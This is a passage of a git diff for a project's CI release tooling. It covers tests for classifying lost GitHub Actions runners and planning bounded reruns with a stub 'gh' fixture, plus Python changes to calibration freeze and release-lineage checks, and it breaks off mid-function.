outputsPath } }, + ); + return { + status: result.status, + stderr: result.stderr, + plan: JSON.parse(readFileSync(outPath, "utf8")), + outputs: readFileSync(outputsPath, "utf8"), + }; +} + +test("the lost-runner verdict needs the whole signature, not any one part of it", () => { + assert.equal(classifyJobFailure(lostJob()).signature, RUNNER_COMMUNICATION_LOSS); + + // Each single-part removal must fall back to an assertion failure. Any one of these alone is + // reachable without a lost runner, so a partial match must never unlock a retry. + assert.equal( + classifyJobFailure(lostJob({ annotations: [{ message: "Process completed with exit code 1." }] })).signature, + JOB_ASSERTION_FAILURE, + ); + assert.equal( + classifyJobFailure(lostJob({ + steps: [{ name: "Prove offline Linux Vulkan retrieval", status: "completed", conclusion: "failure" }], + })).signature, + JOB_ASSERTION_FAILURE, + ); + assert.equal(classifyJobFailure(lostJob({ log_uploaded: true })).signature, JOB_ASSERTION_FAILURE); + + // A near-miss annotation is not the annotation. + assert.equal( + classifyJobFailure(lostJob({ + annotations: [{ message: `${LOST_RUNNER_ANNOTATION} Retrying.` }], + })).signature, + JOB_ASSERTION_FAILURE, + ); + // Surrounding whitespace in the Actions payload is not meaningful. + assert.equal( + classifyJobFailure(lostJob({ annotations: [{ message: `\n${LOST_RUNNER_ANNOTATION}\n` }] })).signature, + RUNNER_COMMUNICATION_LOSS, + ); + + // The verdict is reached without ever reading the job name. + assert.equal( + classifyJobFailure(lostJob({ name: "some-unrelated-job / Brand new proof" })).signature, + RUNNER_COMMUNICATION_LOSS, + ); + assert.equal( + classifyJobFailure(assertionJob({ name: "linux-vulkan-proof / Packaged Linux Vulkan engine" })).signature, + JOB_ASSERTION_FAILURE, + ); +}); + +/// The same host lost again on a later attempt: a *second* execution of the same job name, which is +/// what actually spends the one automatic recovery. +function lostAgain(attempt = MAXIMUM_RUN_ATTEMPTS) { + return lostJob({ id: 40 + attempt, run_attempt: String(attempt) }); +} + +test("only lost jobs are re-dispatched and the recovery bound counts recoveries", () => { + const lost = planLostRunnerRerun({ + runAttempt: 1, + runConclusion: "failure", + jobs: [lostJob(), { id: 9, name: "Release / Workflow policy", conclusion: "success", run_attempt: "1" }], + }); + assert.equal(lost.rerun, true); + assert.equal(lost.reason, "runner_communication_loss"); + assert.deepEqual(lost.rerun_job_ids, [41]); + assert.equal(lost.maximum_run_attempts, MAXIMUM_RUN_ATTEMPTS); + assert.deepEqual(lost.lost_jobs.map(({ lost_executions: spent }) => spent), [1]); + + // An assertion failure alongside a lost runner is reported and left untouched: it is not in the + // re-dispatch list, so the rerun cannot turn it green. + const mixed = planLostRunnerRerun({ + runAttempt: 1, + runConclusion: "failure", + jobs: [lostJob(), assertionJob({ id: 77, name: "windows-vulkan-proof / Packaged Windows Vulkan engine" })], + }); + assert.deepEqual(mixed.rerun_job_ids, [41]); + assert.deepEqual(mixed.not_retried_jobs.map(({ id }) => id), [77]); + + // A run whose only failure is an assertion failure is never re-dispatched. + const assertionOnly = planLostRunnerRerun({ + runAttempt: 1, + runConclusion: "failure", + jobs: [assertionJob()], + }); + assert.equal(assertionOnly.rerun, false); + assert.equal(assertionOnly.reason, "no_runner_communication_loss"); + assert.deepEqual(assertionOnly.rerun_job_ids, []); + + // The bound is two lost executions of the same job: the second loss gets no third try. + const bounded = planLostRunnerRerun({ + runAttempt: MAXIMUM_RUN_ATTEMPTS, + runConclusion: "failure", + jobs: [lostJob(), lostAgain()], + }); + assert.equal(bounded.rerun, false); + assert.equal(bounded.reason, "recovery_bound_reached"); + assert.deepEqual(bounded.lost_jobs.map(({ lost_executions: spent }) => spent), [2, 2]); + + // A run that reached attempt 2 for an unrelated reason has still never re-dispatched this host, + // and the first loss of its runner is owed its one automatic recovery. Reading the run-attempt + // number as a recovery counter refused the retry here and withheld the claim with zero recoveries. + const rerunForOtherReasons = planLostRunnerRerun({ + runAttempt: MAXIMUM_RUN_ATTEMPTS, + runConclusion: "failure", + jobs: [ + { id: 9, name: "Release / Workflow policy", conclusion: "success", run_attempt: "1" }, + lostJob({ run_attempt: String(MAXIMUM_RUN_ATTEMPTS) }), + ], + }); + assert.equal(rerunForOtherReasons.rerun, true); + assert.equal(rerunForOtherReasons.reason, "runner_communication_loss"); + assert.deepEqual(rerunForOtherReasons.rerun_job_ids, [41]); + assert.deepEqual(rerunForOtherReasons.lost_jobs.map(({ lost_executions: spent }) => spent), [1]); + + // A job Actions carried forward unchanged is listed by every later attempt under the same id. + // Counting those listings would spend a recovery that never happened. + const carriedForward = planLostRunnerRerun({ + runAttempt: MAXIMUM_RUN_ATTEMPTS, + runConclusion: "failure", + jobs: [lostJob(), lostJob()], + }); + assert.equal(carriedForward.rerun, true); + assert.deepEqual(carriedForward.lost_jobs.map(({ lost_executions: spent }) => spent), [1]); + + // A green run is never re-dispatched even if a prior attempt left failure rows behind. + const green = planLostRunnerRerun({ runAttempt: 1, runConclusion: "success", jobs: [lostJob()] }); + assert.equal(green.rerun, false); + assert.equal(green.reason, "run_did_not_fail"); +}); + +test("a non-claim is reachable only from a spent retry bound on a lost runner", () => { + const proven = planAcceleratorNonClaim({ + runAttempt: 1, + hosts: [linuxHost], + jobs: [lostJob({ conclusion: "success", steps: [], annotations: [], log_uploaded: true })], + }); + assert.deepEqual(proven.hosts.map(({ state }) => state), ["proven"]); + assert.deepEqual(proven.withheld_hosts, []); + assert.deepEqual(proven.blocked_hosts, []); + + // Attempts still owed: the run must be re-dispatched before anything may be withheld. + const pending = planAcceleratorNonClaim({ runAttempt: 1, hosts: [linuxHost], jobs: [lostJob()] }); + assert.deepEqual(pending.hosts.map(({ state }) => state), ["retry_pending"]); + assert.deepEqual(pending.withheld_hosts, []); + assert.deepEqual(pending.blocked_hosts, ["linux-x64-vulkan"]); + + const withheld = planAcceleratorNonClaim({ + runAttempt: MAXIMUM_RUN_ATTEMPTS, + hosts: [linuxHost], + jobs: [lostJob(), lostAgain()], + }); + assert.deepEqual(withheld.hosts.map(({ state }) => state), ["withheld"]); + assert.deepEqual(withheld.withheld_hosts, ["linux-x64-vulkan"]); + assert.deepEqual(withheld.blocked_hosts, []); + assert.equal(withheld.hosts[0].lost_executions, MAXIMUM_RUN_ATTEMPTS); + + // Withholding is the end of the bounded recovery path, never a shortcut around it. A release + // sitting at attempt 2 for an unrelated reason has spent no recovery on this host, so its first + // lost runner is owed one -- the earlier code withheld the claim here with zero recoveries. + const firstLossOnAReRunRelease = planAcceleratorNonClaim({ + runAttempt: MAXIMUM_RUN_ATTEMPTS, + hosts: [linuxHost], + jobs: [lostJob({ run_attempt: String(MAXIMUM_RUN_ATTEMPTS) })], + }); + assert.deepEqual(firstLossOnAReRunRelease.hosts.map(({ state }) => state), ["retry_pending"]); + assert.equal(firstLossOnAReRunRelease.hosts[0].lost_executions, 1); + assert.deepEqual(firstLossOnAReRunRelease.withheld_hosts, []); + assert.deepEqual(firstLossOnAReRunRelease.blocked_hosts, ["linux-x64-vulkan"]); + // The two halves agree: what the non-claim refuses to withhold, the rerun plan agrees to retry. + assert.equal( + planLostRunnerRerun({ + runAttempt: MAXIMUM_RUN_ATTEMPTS, + runConclusion: "failure", + jobs: [lostJob({ run_attempt: String(MAXIMUM_RUN_ATTEMPTS) })], + }).rerun, + true, + ); + + // The proof ran and refused to pass: exhausting attempts must not convert that into a non-claim. + const assertionFailure = planAcceleratorNonClaim({ + runAttempt: MAXIMUM_RUN_ATTEMPTS, + hosts: [linuxHost], + jobs: [assertionJob({ run_attempt: String(MAXIMUM_RUN_ATTEMPTS) })], + }); + assert.deepEqual(assertionFailure.hosts.map(({ state }) => state), ["blocked"]); + assert.equal(assertionFailure.hosts[0].detail, JOB_ASSERTION_FAILURE); + assert.deepEqual(assertionFailure.withheld_hosts, []); + + // A cancelled proof and a proof that never ran are both blocked, never withheld. + for (const jobs of [ + [lostJob({ conclusion: "cancelled", run_attempt: String(MAXIMUM_RUN_ATTEMPTS) })], + [], + ]) { + const blocked = planAcceleratorNonClaim({ + runAttempt: MAXIMUM_RUN_ATTEMPTS, + hosts: [linuxHost], + jobs, + }); + assert.deepEqual(blocked.withheld_hosts, []); + assert.deepEqual(blocked.blocked_hosts, ["linux-x64-vulkan"]); + } +}); + +// ── The shell collector ───────────────────────────────────────────────────────────────────── + +const collector = fileURLToPath(new URL("./collect-actions-job-evidence.sh", import.meta.url)); + +const collectorJobs = { + jobs: [ + { + id: 41, + name: "linux-vulkan-proof / Packaged Linux Vulkan engine", + status: "completed", + conclusion: "failure", + run_attempt: 1, + steps: [ + { name: "Checkout exact source", status: "completed", conclusion: "success" }, + { name: "Prove offline Linux Vulkan retrieval", status: "completed", conclusion: null }, + ], + }, + { + id: 42, + name: "Release / Workflow policy", + status: "completed", + conclusion: "success", + run_attempt: 1, + steps: [{ name: "Enforce workflow policy", status: "completed", conclusion: "success" }], + }, + ], +}; + +/// A `gh api` stand-in faithful enough to answer the three questions the collector asks, including +/// the ones it must refuse to answer. `annotations` and `logs` each take an HTTP status; the stub +/// reproduces gh's real behaviour for it -- a non-2xx exits 1 and prints the status line only when +/// `--include` was passed, which is exactly how the collector distinguishes "no log" from "no +/// answer". +function runCollector({ + annotationsStatus = 200, + logsStatus = 404, + runAttempt = 1, + jobsByAttempt = { 1: collectorJobs }, +} = {}) { + const directory = mkdtempSync(path.join(os.tmpdir(), "codestory-collect-")); + const bin = path.join(directory, "bin"); + mkdirSync(bin); + for (const [attempt, listing] of Object.entries(jobsByAttempt)) { + writeFileSync(path.join(directory, `jobs-${attempt}.json`), JSON.stringify(listing)); + } + const annotations = JSON.stringify([ + { annotation_level: "failure", message: LOST_RUNNER_ANNOTATION }, + ]); + writeFileSync(path.join(bin, "gh"), `#!/bin/sh +include=0 +for arg in "$@"; do + case "$arg" in --include|-i) include=1 ;; esac +done +answer() { + status="$1" + body="$2" + case "$status" in + 2*) [ "$include" = 1 ] && printf 'HTTP/2.0 %s OK\\r\\n\\r\\n' "$status" + [ -n "$body" ] && printf '%s\\n' "$body" + exit 0 ;; + *) [ "$include" = 1 ] && printf 'HTTP/2.0 %s Refused\\r\\n\\r\\n' "$status" + echo "gh: HTTP $status" >&2 + exit 1 ;; + esac +} +requested_attempt() { + for arg in "$@"; do + case "$arg" in + *"/attempts/"*"/jobs"*) + printf '%s' "$arg" | sed -e 's|.*/attempts/||' -e 's|/jobs.*||' + return ;; + esac + done +} +case "$*" in + *"/actions/runs/"*"/jobs"*) + listing='${directory}/jobs-'"$(requested_attempt "$@")"'.json' + [ -f "$listing" ] || { echo "gh: no such attempt" >&2; exit 1; } + jq -c '.jobs[]' "$listing" ;; + *"/check-runs/"*"/annotations"*) answer '${annotationsStatus}' '${annotations}' ;; + *"/actions/jobs/"*"/logs"*) answer '${logsStatus}' '' ;; + *) printf '[]\\n' ;; +esac +`, { mode: 0o755 }); + const output = path.join(directory, "evidence.json"); + const collected = spawnSync("bash", [collector, "7", String(runAttempt), output], { + encoding: "utf8", + env: { + ...process.env, + PATH: `${bin}:${process.env.PATH}`, + GITHUB_REPOSITORY: "TheGreenCedar/CodeStory", + }, + }); + return { + status: collected.status, + stderr: collected.stderr, + rows: existsSync(output) ? JSON.parse(readFileSync(output, "utf8")) : null, + }; +} + +test("the shell collector hands the classifier the whole signature", () => { + // The three signature parts live in three different Actions endpoints, so the collector is the + // only place they are joined. A collector that dropped one of them would silently turn every + // lost job into an assertion failure, which no unit test of the classifier can catch. + const collected = runCollector(); + assert.equal(collected.status, 0, collected.stderr); + assert.equal(collected.rows.length, 2); + const plan = planLostRunnerRerun({ runAttempt: 1, runConclusion: "failure", jobs: collected.rows }); + assert.equal(plan.rerun, true); + assert.deepEqual(plan.rerun_job_ids, [41]); + assert.equal(plan.lost_jobs[0].evidence.log_uploaded, false); + assert.equal(plan.lost_jobs[0].evidence.annotation_matched, true); + assert.deepEqual(plan.lost_jobs[0].evidence.empty_conclusion_steps, [ + "Prove offline Linux Vulkan retrieval", + ]); + // The probe result is recorded, so a reader can see which answer produced the verdict. + const failed = collected.rows.find(({ id }) => id === 41); + assert.deepEqual(failed.evidence_probe, { annotations_read: true, log_http_status: 404 }); +}); + +test("a failed job that did upload its log is an assertion failure, not a lost runner", () => { + // The permissive direction of the log probe. Everything else about job 41 matches the lost-runner + // signature exactly; only the uploaded log separates it from one, so this is the branch that + // keeps an ordinary red proof out of the retry-and-withhold lane. + const collected = runCollector({ logsStatus: 200 }); + assert.equal(collected.status, 0, collected.stderr); + const failed = collected.rows.find(({ id }) => id === 41); + assert.equal(failed.log_uploaded, true); + assert.deepEqual(failed.evidence_probe, { annotations_read: true, log_http_status: 200 }); + + const plan = planLostRunnerRerun({ runAttempt: 1, runConclusion: "failure", jobs: collected.rows }); + assert.equal(plan.rerun, false); + assert.equal(plan.reason, "no_runner_communication_loss"); + assert.deepEqual(plan.rerun_job_ids, []); + assert.deepEqual(plan.not_retried_jobs.map(({ signature }) => signature), [JOB_ASSERTION_FAILURE]); + + // And it can never become a withheld claim, however many attempts are spent on it. + const nonClaim = planAcceleratorNonClaim({ + runAttempt: MAXIMUM_RUN_ATTEMPTS, + hosts: [linuxHost], + jobs: collected.rows, + }); + assert.deepEqual(nonClaim.withheld_hosts, []); + assert.deepEqual(nonClaim.blocked_hosts, ["linux-x64-vulkan"]); + assert.equal(nonClaim.hosts[0].detail, JOB_ASSERTION_FAILURE); +}); + +test("the collector reads every attempt so the recovery bound counts recoveries", () => { + // The recovery counter needs history the current attempt alone does not have. Attempt 1 lost the + // Linux host; attempt 2 re-executed it (a new job id) and lost it again, and also lists the + // policy job Actions carried forward unchanged under its original id. + const lostAt = (id, attempt) => ({ + id, + name: "linux-vulkan-proof / Packaged Linux Vulkan engine", + status: "completed", + conclusion: "failure", + run_attempt: attempt, + steps: [ + { name: "Checkout exact source", status: "completed", conclusion: "success" }, + { name: "Prove offline Linux Vulkan retrieval", status: "completed", conclusion: null }, + ], + }); + const carriedForward = { + id: 42, + name: "Release / Workflow policy", + status: "completed", + conclusion: "success", + run_attempt: 1, + steps: [{ name: "Enforce workflow policy", status: "completed", conclusion: "success" }], + }; + const collected = runCollector({ + runAttempt: 2, + jobsByAttempt: { + 1: { jobs: [lostAt(41, 1), carriedForward] }, + 2: { jobs: [lostAt(43, 2), carriedForward] }, + }, + }); + assert.equal(collected.status, 0, collected.stderr); + // Three executions, not four: the carried-forward job is listed by both attempts under one id. + assert.deepEqual(collected.rows.map(({ id }) => id), [41, 42, 43]); + + assert.equal(countLostExecutions(collected.rows, "Packaged Linux Vulkan engine"), 2); + const plan = planLostRunnerRerun({ runAttempt: 2, runConclusion: "failure", jobs: collected.rows }); + assert.equal(plan.rerun, false); + assert.equal(plan.reason, "recovery_bound_reached"); + const nonClaim = planAcceleratorNonClaim({ + runAttempt: 2, + hosts: [linuxHost], + jobs: collected.rows, + }); + assert.deepEqual(nonClaim.withheld_hosts, ["linux-x64-vulkan"]); + assert.equal(nonClaim.hosts[0].lost_executions, 2); + + // A host that succeeded on attempt 1 and was not re-executed is still `proven`, whether or not + // Actions carries it into the attempt-2 listing. Reading only the current attempt would report + // `job_absent_from_run` for every healthy host and block the recovery a second way. + const macos = { + id: 44, + name: "macos-metal-proof / Packaged Apple Silicon Metal engine", + status: "completed", + conclusion: "success", + run_attempt: 1, + steps: [{ name: "Prove Metal retrieval", status: "completed", conclusion: "success" }], + }; + const onlyTheLostJobRetried = runCollector({ + runAttempt: 2, + jobsByAttempt: { + 1: { jobs: [lostAt(41, 1), macos, carriedForward] }, + 2: { jobs: [lostAt(43, 2)] }, + }, + }); + assert.equal(onlyTheLostJobRetried.status, 0, onlyTheLostJobRetried.stderr); + assert.deepEqual( + planAcceleratorNonClaim({ + runAttempt: 2, + hosts: [linuxHost, { id: "macos-arm64-metal", job_name: "Packaged Apple Silicon Metal engine" }], + jobs: onlyTheLostJobRetried.rows, + }).hosts.map(({ host, state }) => [host, state]), + [["linux-x64-vulkan", "withheld"], ["macos-arm64-metal", "proven"]], + ); + + // The same run with only one loss so far still owes a recovery, and is refused a non-claim. + const onlyOnce = runCollector({ + runAttempt: 2, + jobsByAttempt: { + 1: { jobs: [carriedForward] }, + 2: { jobs: [lostAt(43, 2), carriedForward] }, + }, + }); + assert.equal(onlyOnce.status, 0, onlyOnce.stderr); + assert.equal(countLostExecutions(onlyOnce.rows, "Packaged Linux Vulkan engine"), 1); + assert.equal( + planAcceleratorNonClaim({ runAttempt: 2, hosts: [linuxHost], jobs: onlyOnce.rows }) + .hosts[0].state, + "retry_pending", + ); + assert.equal( + planLostRunnerRerun({ runAttempt: 2, runConclusion: "failure", jobs: onlyOnce.rows }).rerun, + true, + ); +}); + +test("the collector refuses an answer it did not get, rather than reporting an absence", () => { + // A 403 on the annotations endpoint is what a token without `checks: read` produces. Reporting + // it as "this job had no annotations" is the fail-open that made the whole recovery path inert: + // the signature can never match, so a genuinely lost runner reads as an assertion failure. + const forbidden = runCollector({ annotationsStatus: 403 }); + assert.equal(forbidden.status, 1); + assert.equal(forbidden.rows, null); + assert.match(forbidden.stderr, /Cannot read annotations for job 41/u); + assert.match(forbidden.stderr, /checks: read/u); + + // The same rule for the log blob: only 404 means "no log was uploaded". + for (const logsStatus of [403, 429, 500]) { + const refused = runCollector({ logsStatus }); + assert.equal(refused.status, 1, `logs ${logsStatus}`); + assert.equal(refused.rows, null, `logs ${logsStatus}`); + assert.match(refused.stderr, /Log blob probe for job 41 answered/u); + } +}); + +test("an evidence row without an established log_uploaded fact is refused", () => { + // The collector is the only thing that can know this, so the classifier must not invent it. An + // absent field used to read as `false` -- the half of the signature a lost runner needs. + const { log_uploaded: _dropped, ...withoutProbe } = lostJob(); + assert.throws(() => classifyJobFailure(withoutProbe), /log_uploaded must be a boolean/u); + assert.throws(() => classifyJobFailure(lostJob({ log_uploaded: "false" })), /must be a boolean/u); + assert.throws( + () => planAcceleratorNonClaim({ + runAttempt: MAXIMUM_RUN_ATTEMPTS, + hosts: [linuxHost], + jobs: [withoutProbe], + }), + /log_uploaded must be a boolean/u, + ); + // Annotations are the same: an absent list is an unread endpoint, not an empty one. + const { annotations: _dropped2, ...withoutAnnotations } = lostJob(); + assert.throws(() => classifyJobFailure(withoutAnnotations), /annotations must be an array/u); +}); + +test("the CLI fails closed for every host it cannot decide", () => { + const rerun = runCli("plan-rerun", { + run_attempt: 1, + conclusion: "failure", + jobs: [lostJob()], + }); + assert.equal(rerun.status, 0); + assert.equal(rerun.plan.rerun, true); + assert.match(rerun.outputs, /^rerun=true$/mu); + assert.match(rerun.outputs, /^job_ids=41$/mu); + + const refused = runCli("plan-rerun", { + run_attempt: 1, + conclusion: "failure", + jobs: [assertionJob()], + }); + assert.equal(refused.status, 0); + assert.equal(refused.plan.rerun, false); + assert.match(refused.outputs, /^rerun=false$/mu); + assert.match(refused.outputs, /^job_ids=$/mu); + + const withheld = runCli("plan-non-claim", { + run_attempt: MAXIMUM_RUN_ATTEMPTS, + hosts: [linuxHost], + jobs: [lostJob(), lostAgain()], + }); + assert.equal(withheld.status, 0); + assert.match(withheld.outputs, /^withheld_hosts=linux-x64-vulkan$/mu); + + // One loss on a run that reached attempt 2 for its own reasons is still owed a recovery, so the + // CLI refuses to withhold and exits non-zero rather than recording an unearned non-claim. + const owed = runCli("plan-non-claim", { + run_attempt: MAXIMUM_RUN_ATTEMPTS, + hosts: [linuxHost], + jobs: [lostJob({ run_attempt: String(MAXIMUM_RUN_ATTEMPTS) })], + }); + assert.equal(owed.status, 1); + assert.match(owed.stderr, /automatic_rerun_still_owed/u); + assert.match(owed.outputs, /^withheld_hosts=$/mu); + + const blocked = runCli("plan-non-claim", { + run_attempt: MAXIMUM_RUN_ATTEMPTS, + hosts: [linuxHost], + jobs: [assertionJob({ run_attempt: String(MAXIMUM_RUN_ATTEMPTS) })], + }); + assert.equal(blocked.status, 1); + assert.match(blocked.stderr, /job_assertion_failure/u); + assert.match(blocked.outputs, /^withheld_hosts=$/mu); +}); diff --git a/.github/scripts/marketplace-delivery-identity.mjs b/.github/scripts/marketplace-delivery-identity.mjs new file mode 100644 index 000000000..188af094e --- /dev/null +++ b/.github/scripts/marketplace-delivery-identity.mjs @@ -0,0 +1,30 @@ +// The two catalog delivery states, named once. +// +// Catalog publication is delivery, not a release gate, so a release can be proved against +// either the live public catalog or a catalog pinned to the exact published commit. Those are +// DISTINCT states, and the whole risk in allowing the second one is that it quietly reads as +// the first. So neither state is an absence: each has its own installer identity, its own +// attestation repository name, and its own accepted shape in the Python predicate, and the +// three names live here so the producer and the verifier cannot drift apart. +// +// `.github/scripts/packaged_agent_proof/marketplace_installation.py` holds the Python side of +// the same contract; `install-codestory-marketplace-proof.test.mjs` asserts the two agree. + +/** Installer identity for a resolve through the live public catalog. */ +export const LIVE_INSTALLATION_SOURCE = "codex_marketplace_install"; +/** Installer identity for a resolve through a catalog pinned to the published commit. */ +export const DEFERRED_INSTALLATION_SOURCE = "codex_marketplace_deferred_fixture"; + +/** `marketplace.repository` for the live state: the real catalog repository. */ +export const LIVE_MARKETPLACE_REPOSITORY = "TheGreenCedar/AgentPluginMarketplace"; +/** + * `marketplace.repository` for the deferred state. Deliberately not a filesystem path: the + * path is a per-run temporary directory, and writing it here made the attestation claim a + * "repository" that no one can resolve. This name is stable, is not a repository, and cannot + * be mistaken for one. + */ +export const DEFERRED_MARKETPLACE_REPOSITORY = "local:candidate-pinned-marketplace-fixture"; + +/** Marker file the fixture builder writes so a fixture can identify itself to the verifier. */ +export const FIXTURE_MARKER_FILENAME = ".codestory-marketplace-fixture.json"; +export const FIXTURE_MARKER_PURPOSE = "codestory-candidate-pinned-marketplace-fixture"; diff --git a/.github/scripts/package-codestory-release.py b/.github/scripts/package-codestory-release.py index d4e0f80e9..396ed79a4 100644 --- a/.github/scripts/package-codestory-release.py +++ b/.github/scripts/package-codestory-release.py @@ -585,7 +585,7 @@ def native_release_manifest( "embedding": embedding_descriptor, "tokenizer_config": tokenizer, "accelerator": { - "cpu_fallback": "explicit_only", + "cpu_fallback": "unsupported", "package_claim": "compiled_capability_only", "runtime_execution": "not_proven_by_package", "expected_protected_backend": target_contract["expected_protected_backend"], diff --git a/.github/scripts/packaged_agent_proof/archive_proof.py b/.github/scripts/packaged_agent_proof/archive_proof.py index 6393ca3a6..9d9c829a8 100644 --- a/.github/scripts/packaged_agent_proof/archive_proof.py +++ b/.github/scripts/packaged_agent_proof/archive_proof.py @@ -4,11 +4,13 @@ import argparse import os +import time from pathlib import Path from .archive_io import find_cli, unpack_archive from .calibration_verification import verify_calibration_bundle -from .contract_primitives import write_json +from .constant_calibration import collect_constant_calibration +from .contract_primitives import sha256, write_json from .failure_evidence import preserve_failure_evidence from .foundation import LEGACY_HELP_TOKENS, REPOSITORY_ROOT, require from .installation_support import isolated_environment @@ -81,6 +83,8 @@ def requires_calibration_bundle(args: argparse.Namespace) -> bool: def claim_scope(args: argparse.Namespace) -> str: + if getattr(args, "collect_constant_calibration", False): + return "constant_calibration" if args.ground_only: return ( "installed_ground" @@ -150,6 +154,7 @@ def _run_proof_phases( temporary_package_directory: FailurePreservingTemporaryDirectory, root: Path, ) -> None: + package_phase_started = time.perf_counter() unpack_archive(args.archive, root / "unpacked") cli = find_cli(root / "unpacked") manifest = load_native_manifest( @@ -192,6 +197,20 @@ def _run_proof_phases( measurement_contract, calibration_bundle, ) + if getattr(args, "collect_constant_calibration", False): + summary["constant_calibration"] = collect_constant_calibration( + args, + root=root, + unpacked_root=root / "unpacked", + cli=cli, + manifest=manifest, + measurement_contract=measurement_contract, + env=env, + archive_sha256=sha256(args.archive), + package_phase_started=package_phase_started, + ) + write_json(args.out_dir / "summary.json", summary) + return if not args.version_only: require( args.project is not None, diff --git a/.github/scripts/packaged_agent_proof/calibration_assembly.py b/.github/scripts/packaged_agent_proof/calibration_assembly.py index 47c939b38..d862350b3 100644 --- a/.github/scripts/packaged_agent_proof/calibration_assembly.py +++ b/.github/scripts/packaged_agent_proof/calibration_assembly.py @@ -96,7 +96,6 @@ def _frozen_calibration_constant_set( frozen = json.loads(json.dumps(constant_set)) frozen["status"] = "frozen" frozen["calibration_required_values"] = selection["calibration_required_values"] - frozen["qualification_thresholds"] = selection["qualification_thresholds"] frozen["freeze_record"] = { "selection_source_commit": source["commit"], "selection_source_tree": source["tree"], @@ -107,7 +106,7 @@ def _frozen_calibration_constant_set( "calibration_freeze_digest": selection["freeze_digest"], "run_artifact_sha256s": selection["run_artifact_sha256s"], "selection_rule": ( - "all_preregistered_clean_runs_no_outlier_removal+slow_host_floors_v1" + "constant_only_three_fresh_generations_one_sample_each+slow_host_floors_v2" ), "selected_at": require_nonempty_string( selected_at, diff --git a/.github/scripts/packaged_agent_proof/calibration_freeze.py b/.github/scripts/packaged_agent_proof/calibration_freeze.py index a55083dbc..a12b674b5 100644 --- a/.github/scripts/packaged_agent_proof/calibration_freeze.py +++ b/.github/scripts/packaged_agent_proof/calibration_freeze.py @@ -14,7 +14,6 @@ def _calibration_freeze( bundle: CalibrationBundle, accumulator: CalibrationAccumulator, selected_constants: dict, - thresholds: dict, *, compare_frozen_constant_set: bool, frozen_source: dict | None, @@ -26,10 +25,6 @@ def _calibration_freeze( bundle.constant_set["calibration_required_values"] == selected_constants, "frozen compiled constants do not match the preregistered calibration formulas", ) - require( - bundle.constant_set["qualification_thresholds"] == thresholds, - "frozen qualification thresholds do not match the preregistered calibration formulas", - ) digests = sorted(accumulator.artifact_digests) freeze_digest = canonical_sha256( { @@ -39,7 +34,6 @@ def _calibration_freeze( "contracts": bundle.contracts, "run_artifact_sha256s": digests, "calibration_required_values": selected_constants, - "qualification_thresholds": thresholds, } ) lineage = None @@ -84,6 +78,6 @@ def _verify_calibration_freeze_record( and record["calibration_freeze_digest"] == freeze_digest and sorted(record["run_artifact_sha256s"]) == digests and record["selection_rule"] - == "all_preregistered_clean_runs_no_outlier_removal+slow_host_floors_v1", + == "constant_only_three_fresh_generations_one_sample_each+slow_host_floors_v2", "constant-set freeze record does not bind the exact recomputed calibration bundle", ) diff --git a/.github/scripts/packaged_agent_proof/calibration_lineage.py b/.github/scripts/packaged_agent_proof/calibration_lineage.py index 960e2e958..a40424ac9 100644 --- a/.github/scripts/packaged_agent_proof/calibration_lineage.py +++ b/.github/scripts/packaged_agent_proof/calibration_lineage.py @@ -2,18 +2,161 @@ from __future__ import annotations +import json import re import subprocess from pathlib import Path from .contract_primitives import require_nonempty_string -from .foundation import require +from .foundation import ProofFailure, require + +# The single file a freeze commit is allowed to write between the tree that was +# calibrated and the tree that is packaged. +CONSTANT_SET_FREEZE_PATH = ( + "crates/codestory-llama-sys/per-user-embedding-server-constant-set.json" +) +# Enforcing the freeze lineage decides the release sequencing: because the +# freeze commit must be the only commit between calibration and the package, +# the version bump cannot follow calibration. Every failure below repeats this +# so a CI reader can act without opening this file. +REQUIRED_RELEASE_ORDERING = ( + "required release ordering is bump-then-calibrate: bump the version first " + "(node scripts/bump-version.mjs --version ), calibrate on the " + "bumped tree, then land the constant-set freeze commit as the only commit " + f"between calibration and the packaged release ({CONSTANT_SET_FREEZE_PATH} " + "is the only file it may write). A calibrate-then-bump ordering fails here: " + "move the bump ahead of calibration and recalibrate on the bumped tree" +) + + +def _git(repository_root: Path, *arguments: str) -> str: + completed = subprocess.run( + ["git", *arguments], + cwd=repository_root, + text=True, + capture_output=True, + timeout=30, + ) + require( + completed.returncode == 0, + "calibration source-lineage probe failed: " + + require_nonempty_string( + completed.stderr.strip() + or completed.stdout.strip() + or f"git {' '.join(arguments)} exited {completed.returncode} " + "without output", + "Git lineage failure", + ), + ) + return completed.stdout.strip() + + +def _tracked_source_dirty(repository_root: Path) -> bool: + dirty = False + for arguments in ( + ("diff", "--quiet", "--ignore-submodules", "--"), + ("diff", "--cached", "--quiet", "--ignore-submodules", "--"), + ): + completed = subprocess.run( + ["git", *arguments], + cwd=repository_root, + capture_output=True, + timeout=30, + ) + require( + completed.returncode in (0, 1), + "calibration source-lineage dirty-tree probe failed: " + + require_nonempty_string( + completed.stderr.decode(errors="replace").strip() + or completed.stdout.decode(errors="replace").strip() + or f"git {' '.join(arguments)} exited {completed.returncode} " + "without output", + "Git dirty-tree failure", + ), + ) + dirty = dirty or completed.returncode == 1 + return dirty + + +def verify_release_head_calibration_lineage( + repository_root: Path, + expected_release_commit: str, + *, + allow_promotion_commit: bool = False, +) -> dict: + """Bind a release checkout to the calibration source in its freeze record. + + Package qualification can authenticate the original calibration bundle, + but the publishing lane deliberately does not receive that optional + evidence. The checked-in freeze record is therefore the release lane's + durable source binding: the actual release head must descend from the + recorded calibration commit and differ from it only by the constant-set + freeze file. + """ + + require( + isinstance(expected_release_commit, str) + and re.fullmatch(r"[0-9a-f]{40}", expected_release_commit) is not None, + "expected release source is not an exact lowercase Git commit", + ) + constant_set_path = repository_root / CONSTANT_SET_FREEZE_PATH + require( + constant_set_path.is_file() and not constant_set_path.is_symlink(), + f"release calibration freeze record is missing or unsafe: " + f"{constant_set_path}", + ) + try: + constant_set = json.loads(constant_set_path.read_text(encoding="utf-8")) + except json.JSONDecodeError as exc: + raise ProofFailure( + f"release calibration constant set is not valid JSON: {exc}" + ) from exc + require( + isinstance(constant_set, dict) and constant_set.get("status") == "frozen", + "release calibration constant set is not frozen", + ) + freeze_record = constant_set.get("freeze_record") + require( + isinstance(freeze_record, dict), + "release calibration constant set omits its freeze record", + ) + + release_commit = _git(repository_root, "rev-parse", "HEAD") + release_tree = _git(repository_root, "rev-parse", "HEAD^{tree}") + require( + release_commit == expected_release_commit, + "release checkout does not match the expected release source: " + f"expected {expected_release_commit}, got {release_commit}", + ) + calibration_source = { + "commit": freeze_record.get("selection_source_commit"), + "tree": freeze_record.get("selection_source_tree"), + "tracked_dirty": False, + } + release_source = { + "commit": release_commit, + "tree": release_tree, + "tracked_dirty": 